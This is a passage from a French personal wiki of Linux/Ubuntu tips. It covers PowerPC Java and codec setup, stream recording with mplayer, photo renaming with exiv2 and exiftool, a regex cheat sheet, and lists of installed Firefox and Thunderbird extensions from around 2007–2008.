dev/mac_hid/mouse_button2_keycode = 97
dev/mac_hid/mouse_button3_keycode = 100
}}}
Cela sera prise en compte au prochain boot, ou bien immédiatement après la commande:
{{{# sysctl -p /etc/sysctl.conf}}}

''Programmes spéciaux''
A noter que adobe-flash ne fonctionne pas sur l'architecture ppc. A défaut on peut installer //gnash//.

Pour faire fonctionner java dans firefox:
[[source 1| http://blog.effraie.org/index.php/post/2006/10/29/PPC-Java-Plugin-dans-Firefox]], [[source 2| http://blog.racoon97.net/index.php?2006/12/11/70-les-plf-sont-morts-vive-medibuntu]]

Modifier tout d'abord ///etc/apt/sources.list// en ajoutant:
{{{
#Dépots Mental-ppc
deb http://mental-ppc.tuxfamily.org/dists edgy-mppc all

##Dépots medibuntu
deb http://medibuntu.sos-sts.com/repo/ edgy free
deb http://medibuntu.sos-sts.com/repo/ edgy non-free
deb-src http://medibuntu.sos-sts.com/repo/ edgy free
deb-src http://medibuntu.sos-sts.com/repo/ edgy non-free
}}}
puis en ajoutant les clefs respectives:
{{{
# wget http://mental-ppc.tuxfamily.org/dists/817D0754.gpg -O- | sudo apt-key add - 
# wget -q http://medibuntu.sos-sts.com/repo/medibuntu-key.gpg -O- | sudo apt-key add -
}}}
Et finalement en mettant le sources.list à jour:
{{{
# apt-get update
}}}

Installez le paquetage correspondant:
{{{
# aptitude install ibm-j2re1.5
}}}

La JRE est désormais installée. Cependant, vous ne pouvez pas encore l'utiliser dans Firefox, pour le faire:
{{{
mkdir ~/.mozilla/plugins
cd ~/.mozilla/plugins
ln -s /usr/lib/j2re1.5-ibm/jre/bin/libjavaplugin_oji.so 
}}}

W32codecs:
Il existe une archive des codecs de mplayer pour ppc ici. Elle permet a peu prés de remplacer les w32codecs disponibles sur x86 (intel & AMD). Pour l'installer simplement, vérifiez que votre sources.list est complet, et tapez:
{{{
# aptitude install ppc-codecs 
}}}

Fichier mp3:
{{{# aptitude install vlc}}}
devrait suffire pour lire les mp3 avec vlc
''Nom de l'application'': ''@@color(red): Ejecter @@''
Mots clef: media externe, umount
<<<
''Description: ''Ejecter est une petite application permettant "d'éjecter" rapidement les disques, cd et autres clefs usb montés.

''Installation: ''[[via GetDeb|http://www.getdeb.net/release.php?id=3221]]

''Utilisation: ''Au lancement de l'application l'icône d'éjection apparaît dans la zone de notification.

''Note: ''voir aussi EjecterCDrom pour une éjection en ligne de commande.
Astuce: ''Ouvrir le lecteur cd en ligne de commande si ni le bouton du lecteur, ni le démontage du cdrom ne fonctionne''
Mots clef: cd, cdrom
Os: Linux
<<<
Pour l'éjection:
{{{
# eject /dev/cdrom
}}}
ou alors peut-être /dev/cdrom1 ou /dev/cdrw, à voir.
et pour refermer le lecteur:
{{{
# eject /dev/cdrw
}}}

''Notes: ''
Si un processus empêche tout accès au cdrom, on peut exécuter la commande {{{$ lsof /dev/cdrom}}}, le numéro de processus est le deuxième champs. Ensuite reste plus qu'à faire un {{{# kill -9 “+ le n° de processus}}}. Ensuite on éjecte.
Astuce: ''se débarasser du fameux beep généré par l'ordinateur (haut-parleur interne) en cas d'erreur''
Mots clef: système
Os: Linux
<<<
Editez le fichier ///etc/modprobe.d/blacklist//
et ajoutez-y
{{{
#suppression du bip système
blacklist pcspkr
}}}
Sauvez le fichier et excécutez:
{{{
$ sudo rmmod pcspkr
}}}
Et voilà

En fait il semble qu'il est suffisant de faire:
{{{
$ sudo rmmod pcspkr
}}}
et pour le remettre:
{{{
$ sudo modprobe pcspkr
}}}
<<<
''Nom de l'application'': ''@@color(red): Emesene @@''
Mots clef: chat, msn
Liens: [[site officiel|http://www.emesene.org]]
<<<
''Description: ''"Emesene est un clone de Msn Messenger multi-plateforme écrit en Python+GTK et distribué sous la license GNU GPL v2. L'objectif principal est de créer un client similaire à la version officielle mais avec une interface plus simple et un meilleur look."

''Installation: ''paquet .deb sur le site officiel.

''Notes: ''Mieux et plus simple que amsn.
''Nom de l'application'': ''@@color(red): Encadre-image @@''
Mots clef: Photos, décoration
Liens: [[dépôt dépomaniak| http://ubuntu.davromaniak.eu/ ]]
<<<
''Description: ''Petit utilitaire automatisant l'ajout de cadres ou de signatures à un groupe d'images.

''Installation: '' Nécessite l'ajout du dépomaniak dans votre fichier //etc/apt/sources.list//
''Nom de l'application'': ''@@color(red): Enigma @@''
Mots clef: Jeux, énigmes
<<<
''Description: ''"Enigma est un jeu de type puzzle, clone d'Oxyd. Le principe du jeu est de finir les tableaux en touchant dans le bon ordre des pierres avec sa boule noire."

''Installation: ''{{{aptitude install enigma}}}

''Notes: ''Attention, commencer c'est prendre le risque de ne plus arrêter. (vous êtes prévenus).
Astuce: ''Enregistrer un flux grâce à mplayer''
Mots clef: multimédia, audio, radio
Os: Linux
Liens: [[source 1|http://ubuntuforums.org/showthread.php?t=40193 ]], [[source 2|http://www.commentcamarche.net/forum/affich-2336804-plugins-firefox-ubuntu ]]
<<<
Nécessite mplayer et lame
*Ecouter le flux
{{{
$ mplayer -playlist URL.ram
}}}
*Capturer le flux (attention on n'entend rien)
{{{
$ mplayer -playlist URL.ram -dumpstream -dumpfile fichier.ram
}}}
Fonctionne aussi avec .ogg
{{{
$ mplayer -playlist URL.ram -dumpstream -dumpfile fichier.ogg
}}}
*Conversion en .wav
{{{
$ mplayer fichier.ram -ao pcm:file=fichier.wav
}}}
*Conversion en .mp3
{{{
lame -f fichier.wav fichier.mp3
}}}

''Notes: ''voir aussi EnregistrerFluxAudioRealplay
Astuce: ''Enregistrer un flux audio .rm (realplay)''
Mots clef: multimédia, audio, radio
Os: Linux
Liens: [[source|http://www.ubuntuforums.org/showthread.php?t=169278 ]]
<<<
Pré requis:
Les paquets suivants (en plus de realplay) sont nécessaires: //vsound, lame et sox//.
- Vsound permet de capturer des flux audio
- Sox permet de convertire un flux audio en un (grand) fichier .wav
- Lame permet de convertir un fichier .wav en mp3
Au cas où ces paquets ne seraient pas installés: 
{{{# aptitude install vsound sox lame}}}

Tout d'abord il s'agit de déterminer l'url du flux. Cette dernière dépend bien entendu de la source audio à enregistrer. Une technique pour obtenir cette adresse est d'étudier le lien vers le flux dans le navigateur (firefox par exemple) ou de rechercher l'adresse dans l'option propriétés de realplay.

Ensuite on peut enregistrer le flux:
{{{
$ vsound -d -t -f monFichier.wav realplay urlDuFluxAEnregistrer
}}}
Il ne reste plus qu'à convertir le fichier .wav en .mp3 (ou .ogg)
{{{
$ lame monFichier.wav monFichier.mp3
}}}

''Notes: ''voir aussi EnregistrerFluxAudioMplayer
Astuce: ''Enregistrer tout ce qui se passe dans une console''
Mots clef: console, bash
Os: Linux
<<<
{{{$ script ''nom-fichier''}}} Cela enregistrera toutes les commandes que vous tapez ainsi que leurs sorties d'écran dans un fichier.
Pour ne plus enregistrer dans le fichier, il suffit de taper: {{{$ exit}}}
<<<
Astuce: ''Faire une vidéo à partir de sa webcam et du micro en ligne de commande''
Mots clef: multimedia, webcam, bash
Os: ubuntu
<<<
''Avec streamer''
Tout d'abord installer streamer: {{{# aptitude install streamer}}}
Ensuite, pour faire un film de 1 minutes enregistré en .avi (Notons que l'on ne voit pas ce que l'on enregistre) :
{{{
$ streamer -c /dev/video0 -f rgb24 -F mono8 -r 15 -t 00:01:00 -o monfilm.avi
}}}
''noter: ''
#VlC permet également de faire cela, voir [[ici|http://forum.ubuntu-fr.org/viewtopic.php?id=83137]]
#Théoriquement mplayer et mencoder aussi, voir [[ici|https://help.ubuntu.com/community/Webcam]]
''Nom de l'application'': ''@@color(red): Etherape @@''
Mots clef: monitoring, réseau
<<<
''Description: ''Etherape permet de visualiser graphiquement (sous fome vectorielle) les différentes connexions TCP/IP établie par votre système ainsi que la charge de ces dernières.

''Installation: ''{{{$ apt-get install etherape}}}

''Notes: ''Etherape peut être configurer pour surveiller les connexions TCP ou IP ainsi que les différentes interfaces réseau de manière séparée (eth0, eth1, ...)
<<<
''Nom de l'application'': ''@@color(red): Etherwake @@''
Mots clef: réseau, wake-on-lan
Liens: [[site|http://www.scyld.com/wakeonlan.html]]
<<<
''Description: ''Permet de provoquer l'enclanchement de matériel possédant un mode wake-on-lan.

''Installation: ''{{{apt-get install etherwake}}}

''Emploie:'' {{{$ etherwake macaddress}}}
Très utile via un petit script. Il existe aussi le programme //wakeonlan//
<<<
''Nom de l'application'': ''@@color(red): exiv2 @@''
Mots clef: images, photo, exif
Liens: [[site officiel| http://www.exiv2.org/ ]]
<<<
''Description: ''Logiciel en ligne de commande permettant, entre autre, de renommer un fichier en fonction des données exif

''Installation: ''[[via apt|apt://exiv2]]

''Utilisation: ''

Renommer un fichier en ajoutant la date complète de création au début du ficchier:
{{{
$ exiv2 -r '%Y-%m-%d_%H%M%S_:basename:' rename myfile.jpg
}}}

Renommer tous les fichiers d'un répertoire:
{{{
$ ls "*.JPG" | while read f; do
  exiv2 -r '%Y-%m-%d_%H-%M-%S_:basename:' rename "$f"
done
}}}
ou
{{{
$ exiv2 -r'%Y%m%d-%H%M_:basename:' rename $(ls)
}}}

Renommer tous les fichiers d'un répertoire et sous-répertoires:
{{{
$ find . -iname "*.JPG" | while read f; do
  exiv2 -r '%Y-%m-%d_%H-%M-%S_:basename:' rename "$f"
done
}}}

''Notes: ''Voir aussi ExifTool et JHead
''Nom de l'application'': ''@@color(red): Exiftool @@''
Mots clef: image, photo, exif
Liens: [[site officiel| http://www.sno.phy.queensu.ca/~phil/exiftool/ ]]
<<<
''Description: ''Exiftool est un module Perl permettant la lecture et l'écriture de meta-information dans les images, les fichiers audio et vidéo. Il reconnaît les profiles EXIF, GPS, IPTC, XMP, JFIF, GEOTIFF, ICC Profile, Photoshop IRB, Flashpix, AFCP and ID 3.

''Installation: '' Via le site officiel. 

''Notes: '' Il permet également de copier les informations exif d'un fichier à un autre grâce à la commande: 
{{{exiftool -TagsFromFile a.crw a.jpg}}}. Si vous ne désirez pas copier les informations concernant l'orientation, alors: 
{{{exiftool -TagsFromFile a.crw --Orientation a.jpg}}}

Voir aussi ExiV2 et JHead
Astuce: ''Exporter et réimporter la liste des paquets installés''
Mots clef: apt, paquets, installation
Os: Linux
Liens: [[source| http://snippets.prendreuncafe.com/snippet/8 ]]
<<<
Export :
{{{
$ sudo dpkg --get-selections > selections.txt
}}}
Réimportation :
{{{
$ sudo dpkg --set-selections < selections.txt
}}}
Réinstallation des paquets :
{{{
$ sudo apt-get dselect-upgrade
}}}
Astuce: ''Aide Mémoire sur les expressions régulieres''
Mots clef: bash
Os: Linux
Liens:[[source| http://newbie.opentech.be/ ]]
<<<
<html>
<u><b>Expressions régulieres non-spécialisée</b></u><br><br>
<table border="2" width="90%">
<tbody><tr>
	<td>.</td>
	<td>tout caractère</td>
</tr>
<tr>
	<td>*</td>
	<td>nombre indeterminé de répetition d'une occurence</td>
</tr>
<tr>
	<td>[ ]</td>
	<td>n'importe quel caractère situé à l'interieur des crochets</td>
</tr>
<tr>
	<td>[<b>^</b>]</td>
	<td>n'importe quel caractère situé excepté ceux à l'interieur des crochets</td>
</tr>
<tr>
	<td> ^ </td>

	<td>début de ligne</td>
</tr>	
<tr>	
	<td>$</td>
	<td>fin de ligne</td>
</tr>
<tr>
	<td>\</td>
	<td>despécialise le caractère suivant</td>
</tr>
</tbody></table>
<br><br>
<u><b>Expression régulieres d'egrep ( grep -E )</b></u><br><br>
<table border="2" width="90%">
<tbody><tr>
	<td>+</td>
	<td>Un occurence ou plus de mot précérent</td>
</tr>
<tr>
	<td>?</td>
	<td>Un nombre interminé d'occurence du mot précédent</td>
</tr>
<tr>
	<td>|</td>
	<td>Sépare les éléments</td>
</tr>	
<tr>
	<td>( )</td>
	<td>Régroupe les expressions</td>
</tr>	
</table>
<br>
Exemple : grep -E '(bonjour|coucou)' fichier.txt<br><br>
<u><b>Expressions spéciales</b></u><br>
[:alnum:] caractère alpha-numéeique<br>
[:alpha:] <br>
[:cntrl:]<br>
[:digit:] <br>
[:graph:]<br>
[:lower:] <br>
[:print:] caractère affichage<br>
[:punct:] ponctuation<br>
[:space:] espace<br>
[:upper:] majuscules<br>
[:xdigit:] chiffres décimaux<br>
[[:alnum:]] = [0-9A-Za-z]<br>
</html>
<<<
''Nom de l'application'': ''@@color(red): Extensions Thunderbird @@''
Mots clef: Extensions Thunderbird
Liens: [[Extensions Thunderbird |https://addons.update.mozilla.org/fr/thunderbird/ ]]
<<<
''Description: ''Liste des extensions Thunderbird installées, générée grâce à l'extension "Extension List Dumper" (InfoLister ne fonctionnant pas bien avec Thunderbird 2)
<html>
<p>Application: Thunderbird 2.0.0.0 (2007032622)<br />
Système d'exploitation: Linux (x86-gcc3)</p>

<p>July 12, 2007</p>

<p>Nombre total d'éléments: 14</p>

<ul>
<li>Dictionnaire MySpell en Français 1.0.1
</li>
<li>Dictionnaire MySpell en Français (réforme 1990) 1.0.1
</li>
<li><a href="http://www.cweiske.de/misc_extensions.htm#dispMUA">Display Mail User Agent Extension 1.3.2</a>
	<br />Affiche le client mail avec lequel l'email ouvert a été envoyé
</li>
<li><a href="http://sogame.awardspace.com/">Extension List Dumper 1.8.0</a>
	<br />Dresse une liste des extensions installées
</li>
<li><a href="http://mozilla.doslash.org/infolister">InfoLister 0.9f</a>
	<br />Dresse la liste des Extensions, Thèmes et Plugins installés
</li>
<li><a href="http://www.mozilla.org/projects/calendar/releases/lightning0.5.html">Lightning 0.5</a>
	<br />An integrated calendar for Thunderbird (build 2007062504)
</li>
<li><a href="https://nic-nac-project.org/~kaosmos/index-en.html">MoreColsForAddressBook 0.3.6.2</a>
	<br />Ajoute quelques fonctions au carnet d'adresses
</li>
<li><a href="http://mozilla.kewis.ch/">Provider for Google Calendar 0.2.1</a>
	<br />Allows bidirectional access to Google Calendar
</li>
<li><a href="http://quotecolors.mozdev.org/">Quote Colors 0.2.8</a>
	<br />Configure text and background colors for different quote levels in mail/news messages.
</li>
<li><a href="http://quotecollapse.mozdev.org/">QuoteCollapse 0.7</a>
	<br />Collapse quotes.
</li>
<li><a href="http://talkback.mozilla.org/">Talkback 2.0.0.0</a>
	<br />Sends information about program crashes to Mozilla.
</li>
<li><a href="http://dafizilla.sourceforge.net/viewsourcewith">ViewSourceWith 0.0.9</a>
	<br />(Désactivée)
	<br />View page source with external application
</li>
<li><a href="http://webmail.mozdev.org">WebMail 1.2.3</a>
	<br />Permet à Thunderbird d'accéder aux web-mails
</li>
<li><a href="http://webmail.mozdev.org">WebMail - Hotmail 1.2.3</a>
	<br />Composant Hotmail pour l'extension Web-Mail
</li>
</ul>
</html>
''Nom de l'application'': ''@@color(red): Extensions Firefox@@''
Mots clef: Extensions Firefox
Liens: [[Extensions Firefox|https://addons.update.mozilla.org/extensions/]]
<<<
''Description: ''Liste des extensions, thèmes et plugins pour Firefox 2 installées, générée grâce à l'extension InfoLister ainsi qu'au plugin InstallFirefoxExt. Passer au-dessus des liens permet d'avoir un petit descriptif des extensions.

''Attention: ''Les extensions firefox ne sont pas toujours sans danger et donc il vaut mieux vérifier la provenance de ces-dernières si l'on ne veut pas avoir de mauvaise surprise. Pour preuve voir cette extension [[là|http://azurit.elbiahosting.sk/ffsniff/]].

''Installation: ''Sélectionner les extension que vous désirez installer, puis cliquer sur le bouton "installer".

<html>
<div class="lastupd">

<span class="hdr">Dernière mise à  jour:</span> Fri, 22 Feb 2008 22:01:08 GMT

</div>

<div class="useragent">

<span class="hdr">User Agent:</span> Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12

</div>

<div class="extensions">

<h3><span class="hdr">Extensions</span> (activées: 61, désactivées: 
3):</h3>



<ul>

<form name="form" onsubmit="return false" action="">

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1865/adblock_plus-0.7.5.1-fx+tb+sm+fl.xpi" value="Adblock Plus" type="checkbox"><a href="http://adblockplus.org/" 
title="Ads were yesterday!" target="_blank" class="msg-data">Adblock Plus 0.7.5.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/11/add_bookmark_here-0.5.8-fx.xpi" value="Add Bookmark Here" type="checkbox"><a href="http://gorgias.de/mfe/" 
title="A convenient way to add bookmarks." target="_blank" class="msg-data">Add Bookmark Here 0.5.8 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1027/all-in-one_sidebar-0.7.1-fx+fl.xpi" value="All-in-One Sidebar" type="checkbox"><a href="http://firefox.exxile.net/aios/" 
title="Sidebar control with award-winning user experience!" target="_blank" class="msg-data">All-in-One Sidebar 0.7.3 </a>

<BR>

 

<input name="http://extensions.geckozone.org/xpi/mozff/BookmarksSynchronizer-1.03.xpi" value="Bookmarks Synchronizer" type="checkbox"><a href="https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=14" 
title="Bookmarks Synchronizer is a Mozilla Firefox extension that let you connect to an FTP/WebDAV server and synchronize your bookmarks that are stored in an XML file. Setup is easy: just write in your FTP/WebDAV server address, username, password and a name for the XML file (by default called xbel.xml). To start, press Upload to create the file on the server and set if you want to automatically download the file on startup or upload it when you close your browser." target="_blank" class="msg-data">Bookmarks Synchronizer 1.03 </a>

<BR>

 

<input name="http://perso.orange.fr/fred.laury/bookmarkshome1.5.2.2.xpi" value="BookmarksHome Version non Officielle" type="checkbox"><a href="http://perso.orange.fr/fred.laury/plugin.html" 
title="Makes pretty startup page out of bookmarks" target="_blank" class="msg-data">BookmarksHome Version non Officielle 1.5.2.2 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2489/cacheviewer-0.4.3-fx.xpi" value="CacheViewer" type="checkbox"><a href="http://tinybenki.sblo.jp/" 
title="Allows searching and sorting cache files" target="_blank" class="msg-data">CacheViewer 0.4.4 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/16/chatzilla-0.9.78.1-fx+mz+sm+fl.xpi" value="ChatZilla" type="checkbox"><a href="http://chatzilla.hacksrus.com/" 
title="A clean, easy to use and highly extensible Internet Relay Chat (IRC) client." target="_blank" class="msg-data">ChatZilla 0.9.81 </a>

<BR>

 

<input name="http://www.customizegoogle.com/customizegoogle-0.61.fr-FR.xpi" value="CustomizeGoogle" type="checkbox"><a href="http://www.customizegoogle.com/" 
title="Améliore les résultats de Google et supprime les pubs et le spam." target="_blank" class="msg-data">CustomizeGoogle 0.69 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/66/deskcut-0.5.0.5-fx.xpi" value="deskCut" type="checkbox"><a href="http://deskcut.mozdev.org" 
title="Create desktop shortcuts from the context-menu. Windows and Linux (KDE/GNOME) supported." target="_blank" class="msg-data">deskCut 0.5.0.5 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/3066/dictionnaire_myspell_en_fran_atilde_acirc_sect_ais-1.0.1-fx+zm+tb.xpi" value="Dictionnaire MySpell en Français" type="checkbox"><a href="" 
title="" target="_blank" class="msg-data">Dictionnaire MySpell en Français 1.6 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/26/download_statusbar-0.9.5.1-fx.xpi" value="Download Statusbar" type="checkbox"><a href="http://downloadstatusbar.mozdev.org/" 
title="View and manage downloads from a tidy statusbar" target="_blank" class="msg-data">Download Statusbar 0.9.6 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/201/downthemall!-0.9.9.10-fx+tb+fl.xpi" value="DownThemAll!" type="checkbox"><a href="http://www.downthemall.net" 
title="The mass downloader for Firefox." target="_blank" class="msg-data">DownThemAll! 0.9.9.10 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/4510/edit_cookies-0.2.2.1-fx.xpi" value="Edit Cookies" type="checkbox"><a href="http://editcookies.mozdev.org/" 
title="Cookie Editor that allows you add and edit session and saved cookies" target="_blank" class="msg-data">Edit Cookies 0.2.2.1 </a>

<BR>

 

<input name="http://extensions.geckozone.org/xpi/mozff/ExtendedLinkProperties-1.2.3.xpi" value="Extended Link Properties" type="checkbox"><a href="http://extensions.geckozone.org/ExtendedLinkProperties/" 
title="Clic droit sur un lien et sélectionner les propriétés pour connaître la taille de la cible." target="_blank" class="msg-data">Extended Link Properties 1.2.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1433/extended_statusbar-1.2.6-fx.xpi" value="Extended Statusbar" type="checkbox"><a href="http://galeb.etf.bg.ac.yu/~ks040161d/firefox/extensions/esb/" 
title="A Statusbar with Speed, Percentage, Time and loaded size (like Opera's one)" target="_blank" class="msg-data">Extended Statusbar 1.2.6 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/3746/extension_list_dumper-1.8.0-fx+sb+tb.xpi" value="Extension List Dumper" type="checkbox"><a href="http://sogame.awardspace.com/" 
title="Dumps a list of the installed extensions." target="_blank" class="msg-data">Extension List Dumper 1.11.0 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2109/febe-5.0-fx.xpi" value="FEBE" type="checkbox"><a href="http://customsoftwareconsult.com/extensions" 
title="FEBE - Backup your Firefox data" target="_blank" class="msg-data">FEBE 5.3.1 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1961/ffmyip-0.4-fx.xpi" value="FFMyIP" type="checkbox"><a href="" 
title="Show user's current IP in statusbar" target="_blank" class="msg-data">FFMyIP 0.4 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1810/firefox_showcase-0.9.3.3-fx+fl.xpi" value="Firefox Showcase" type="checkbox"><a href="http://showcase.uworks.net/" 
title="Easily locate any browser you've opened in Firefox" target="_blank" class="msg-data">Firefox Showcase 0.9.4.6 [disabled]</a>

<BR>

 

<input name="http://firegpg.tuxfamily.org/stable/firegpg.xpi" value="FireGPG" type="checkbox"><a href="http://firegpg.tuxfamily.org/" 
title="An extension that acts as an assistant for using GPG." target="_blank" class="msg-data">FireGPG 0.4.8 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1951/fission-0.8.8-fx.xpi" value="Fission" type="checkbox"><a href="http://mozilla.zeniko.ch/fission.html" 
title="Progress bar in the address bar (Safari style)." target="_blank" class="msg-data">Fission 0.9 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/220/flashgot-0.7-fx+mz+tb+ns+sm+fl.xpi" value="FlashGot" type="checkbox"><a href="http://flashgot.net" 
title="Enables single and massive ("all" and "selection") downloads using the most popular external download managers for Windows, Mac OS X, Linux and FreeBSD (dozens currently supported, see Extension's Home Page for details). FlashGot offers also a Build Gallery functionality which helps to synthetize full media galleries in one page from serial contents originally scattered on several pages, for easy and fast "download all"." target="_blank" class="msg-data">FlashGot 0.8.1 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/219/foxytunes-2.9.5-fx+mz+tb+sm+fl.xpi" value="FoxyTunes" type="checkbox"><a href="http://www.foxytunes.com/" 
title="Control any media player from Firefox and more..." target="_blank" class="msg-data">FoxyTunes 2.9.5 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/4650/fullerscreen-2.2-fx.xpi" value="Fullerscreen" type="checkbox"><a href="http://disruptive-innovations.com/" 
title="Really full screen..." target="_blank" class="msg-data">Fullerscreen 2.3.3 </a>

<BR>

 

<input name="http://www.pqrs.org/~tekezo/firefox/extensions/functions_for_keyconfig/files/functions_for_keyconfig-1.3.8.xpi" value="functions for keyconfig" type="checkbox"><a href="http://www.pqrs.org/~tekezo/firefox/extensions/functions_for_keyconfig/" 
title="functions for keyconfig extension." target="_blank" class="msg-data">functions for keyconfig 1.3.8 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/5673/fxif-0.2.3-fx+mz+sm.xpi" value="FxIF" type="checkbox"><a href="http://ted.mielczarek.org/code/mozilla/fxif/" 
title="View EXIF data in image properties" target="_blank" class="msg-data">FxIF 0.2.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1593/gmail_space-0.5.6-fx+fl.xpi" value="Gmail Space" type="checkbox"><a href="http://www.getgspace.com/" 
title="Use your Gmail account space for file storage. Enables uploading/downloading of folders." target="_blank" class="msg-data">Gmail Space 0.5.92 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/33/googlebar-0.9.15.11-fx+ns.xpi" value="googlebar" type="checkbox"><a href="http://googlebar.mozdev.org/" 
title="The Googlebar for Firefox" target="_blank" class="msg-data">googlebar 0.9.15.11 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/748/greasemonkey-0.7.20070607.0-fx.xpi" value="Greasemonkey" type="checkbox"><a href="http://www.greasespot.net/" 
title="A User Script Manager for Firefox" target="_blank" class="msg-data">Greasemonkey 0.7.20080121.0 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/3130/igoogle_sidebar-1.3.3-fx+fl.xpi" value="IGoogle Sidebar" type="checkbox"><a href="http://code.google.com/p/igsidebar/" 
title="View your IGoogle (Google Personalized Home page) modules in a sidebar" target="_blank" class="msg-data">IGoogle Sidebar 1.3.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2257/imtranslator-3.2-fx.xpi" value="ImTranslator" type="checkbox"><a href="http://www.smartlinkcorp.com" 
title="Starts Smart Link Translator via right-click or Tools menu." target="_blank" class="msg-data">ImTranslator 3.2 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/447/infolister-0.9f-fx+tb.xpi" value="InfoLister" type="checkbox"><a href="http://mozilla.doslash.org/infolister" 
title="Lists installed extensions and themes" target="_blank" class="msg-data">InfoLister 0.9f.2 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2011/internote-2.1.3-fx+fl.xpi" value="Internote" type="checkbox"><a href="http://internote.sourceforge.net/" 
title="Persistent sticky notes for Firefox." target="_blank" class="msg-data">Internote 2.1.5 </a>

<BR>

 

<input name="http://mozilla.dorando.at/keyconfig.xpi" value="keyconfig" type="checkbox"><a href="http://mozilla.dorando.at/" 
title="Rebind your keys." target="_blank" class="msg-data">keyconfig 20060828.1 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2671/konquefox-1.3-fx.xpi" value="Konquefox" type="checkbox"><a href="http://konquefox.free.fr/" 
title="Small adaptions to Firefox for KDE and Linux" target="_blank" class="msg-data">Konquefox 1.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/622/locate_in_bookmark_folders-0.2.5-fx.xpi" value="Locate in Bookmark Folders" type="checkbox"><a href="http://alex.muntean.name/" 
title="Locates a bookmark in Bookmarks Manager's folders tree or in the Bookmarks Sidebar, complementing the Bookmark Search feature of Firefox." target="_blank" class="msg-data">Locate in Bookmark Folders 0.2.5 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/446/mediaplayerconnectivity-0.8.3-fx+fl+mz+ns+zm.xpi" value="MediaPlayerConnectivity" type="checkbox"><a href="http://membres.lycos.fr/sethnakht/" 
title="Permet de lire la vidéo en streaming directement avec un lecteur externe" target="_blank" class="msg-data">MediaPlayerConnectivity 0.8.3 [disabled]</a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/39/mouse_gestures-1.5.2-fx+mz+zm+tb.xpi" value="Mouse Gestures" type="checkbox"><a href="http://www.mousegestures.org/" 
title="Allows you to execute common commands using mouse gestures." target="_blank" class="msg-data">Mouse Gestures 1.5.2 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/722/noscript-1.1.8.3-fx+mz+sm+fl.xpi" value="NoScript" type="checkbox"><a href="http://noscript.net" 
title="Extra protection for your Firefox: NoScript allows JavaScript, Java (and other plugins) only for trusted domains of your choice (e.g. your home-banking web site). This whitelist based pre-emptive blocking approach  prevents exploitation of security vulnerabilities (known and even unknown!) with no loss of functionality... Experts will agree: Firefox is really safer with NoScript :-)" target="_blank" class="msg-data">NoScript 1.4 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1759/organize_status_bar-0.5.2-fx.xpi" value="Organize Status Bar" type="checkbox"><a href="http://yellow5.us/firefox/osb/" 
title="Organize your status bar icons." target="_blank" class="msg-data">Organize Status Bar 0.5.2 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/636/pdf_download-0.8.1-fx+fl.xpi" value="PDF Download" type="checkbox"><a href="http://www.pdfdownload.org" 
title="Allows you to choose what to do with a PDF file: download it, view it with an external viewer or view it as HTML." target="_blank" class="msg-data">PDF Download 1.0.1.0 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2558/permatabs-1.4.0-fx.xpi" value="PermaTabs" type="checkbox"><a href="http://www.donesmart.com/" 
title="Create permanent tabs that don't close, and stick around between sessions" target="_blank" class="msg-data">PermaTabs 1.7.0 </a>

<BR>

 

<input name="https://nic-nac-project.org/~kaosmos/profileswitcher-FF-0.3.1.xpi" value="ProfileSwitcher" type="checkbox"><a href="https://nic-nac-project.de/~kaosmos/index-en.html" 
title="Adds profile name to status bar tooltip and options to launch other profiles" target="_blank" class="msg-data">ProfileSwitcher 0.3.2 </a>

<BR>

 

<input name="https://ideashower.com/files/read-it-later/isreaditlater.xpi" value="Read it Later" type="checkbox"><a href="http://www.ideashower.com/ideas/active/read-it-later/" 
title="Save pages to read later, then bookmark." target="_blank" class="msg-data">Read it Later 0.80 </a>

<BR>

 

